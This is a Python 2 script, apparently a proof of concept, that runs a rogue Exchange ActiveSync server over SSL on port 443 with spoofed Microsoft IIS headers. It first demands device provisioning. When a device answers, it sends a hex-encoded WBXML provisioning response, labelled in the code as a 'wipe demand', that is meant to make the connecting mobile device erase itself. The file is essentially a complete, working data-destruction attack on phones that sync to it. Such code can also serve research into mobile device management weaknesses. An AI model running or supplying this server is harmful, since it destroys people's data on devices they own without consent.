import asyncore
import socket
import datetime
import socket, ssl, pprint

today = datetime.datetime.now()
print(today.ctime())


# Provision demand
prov = ('HTTP/1.1 449 Retry after sending a PROVISION command\n'
'Cache-Control: private\n'
'Content-Type: text/html\n'
'Server: Microsoft-IIS/7.5\n'
'MS-Server-ActiveSync: 14.0\n'
'X-AspNet-Version: 2.0.50727\n'
'X-Powered-By: ASP.NET\n'
'Date: ' + today.ctime() +
'Content-Length: 54\n'
'\n'
'The custom error module does not recognize this error.\n')


# Wipe demand
wipe = ("\x48\x54\x54\x50\x2f\x31\x2e\x31"
"\x20\x32\x30\x30\x20\x4f\x4b\x0d"
"\x0a\x43\x61\x63\x68\x65\x2d\x43"
"\x6f\x6e\x74\x72\x6f\x6c\x3a\x20"
"\x70\x72\x69\x76\x61\x74\x65\x0d"
"\x0a\x43\x6f\x6e\x74\x65\x6e\x74"
"\x2d\x54\x79\x70\x65\x3a\x20\x61"
"\x70\x70\x6c\x69\x63\x61\x74\x69"
"\x6f\x6e\x2f\x76\x6e\x64\x2e\x6d"
"\x73\x2d\x73\x79\x6e\x63\x2e\x77"
"\x62\x78\x6d\x6c\x0d\x0a\x53\x65"
"\x72\x76\x65\x72\x3a\x20\x4d\x69"
"\x63\x72\x6f\x73\x6f\x66\x74\x2d"
"\x49\x49\x53\x2f\x37\x2e\x35\x0d"
"\x0a\x4d\x53\x2d\x53\x65\x72\x76"
"\x65\x72\x2d\x41\x63\x74\x69\x76"
"\x65\x53\x79\x6e\x63\x3a\x20\x31"
"\x34\x2e\x30\x0d\x0a\x44\x61\x74"
"\x65\x3a\x20\x54\x75\x65\x2c\x20"
"\x30\x38\x20\x4d\x61\x79\x20\x32"
"\x30\x31\x32\x20\x30\x37\x3a\x30"
"\x38\x3a\x32\x32\x20\x47\x4d\x54"
"\x0d\x0a\x43\x6f\x6e\x74\x65\x6e"
"\x74\x2d\x4c\x65\x6e\x67\x74\x68"
"\x3a\x20\x31\x32\x34\x0d\x0a\x0d"
"\x0a\x03\x01\x6a\x00\x00\x0e\x45"
"\x4b\x03\x31\x00\x01\x46\x47\x48"
"\x03\x4d\x53\x2d\x45\x41\x53\x2d"
"\x50\x72\x6f\x76\x69\x73\x69\x6f"
"\x6e\x69\x6e\x67\x2d\x57\x42\x58"
"\x4d\x4c\x00\x01\x4b\x03\x31\x00"
"\x01\x49\x03\x32\x37\x36\x31\x38"
"\x36\x38\x37\x39\x30\x00\x01\x4a"
"\x4d\x4e\x03\x30\x00\x01\x4f\x03"
"\x30\x00\x01\x51\x03\x30\x00\x01"
"\x50\x03\x30\x00\x01\x53\x03\x31"
"\x00\x01\x54\x03\x34\x00\x01\x55"
"\x03\x39\x30\x30\x00\x01\x56\x03"
"\x38\x00\x01\x17\x58\x03\x31\x00"
"\x01\x19\x5a\x03\x30\x00\x01\x01"
"\x01\x01\x01\x0c\x01")


from twisted.internet import ssl, reactor
from twisted.internet.protocol import Factory, Protocol

class Echo(Protocol):
    def dataReceived(self, data):
        """As soon as any data is received, write it back."""
        print "dataReceived: %s" % data
        if data.find("Prov") != -1:
            print("Sending wipe goodtimes")
            self.transport.write(wipe)
            self.transport.loseConnection()
        else:
            print("It keeps talking to me :( sending prov demand")
            today = datetime.datetime.now()
            self.transport.write(prov)
            self.transport.loseConnection()

if __name__ == '__main__':
    factory = Factory()
    factory.protocol = Echo
    print "running reactor"
    reactor.listenSSL(443, factory,
                      ssl.DefaultOpenSSLContextFactory(
            "./keys/server.key", "./keys/server.crt"))
    reactor.run()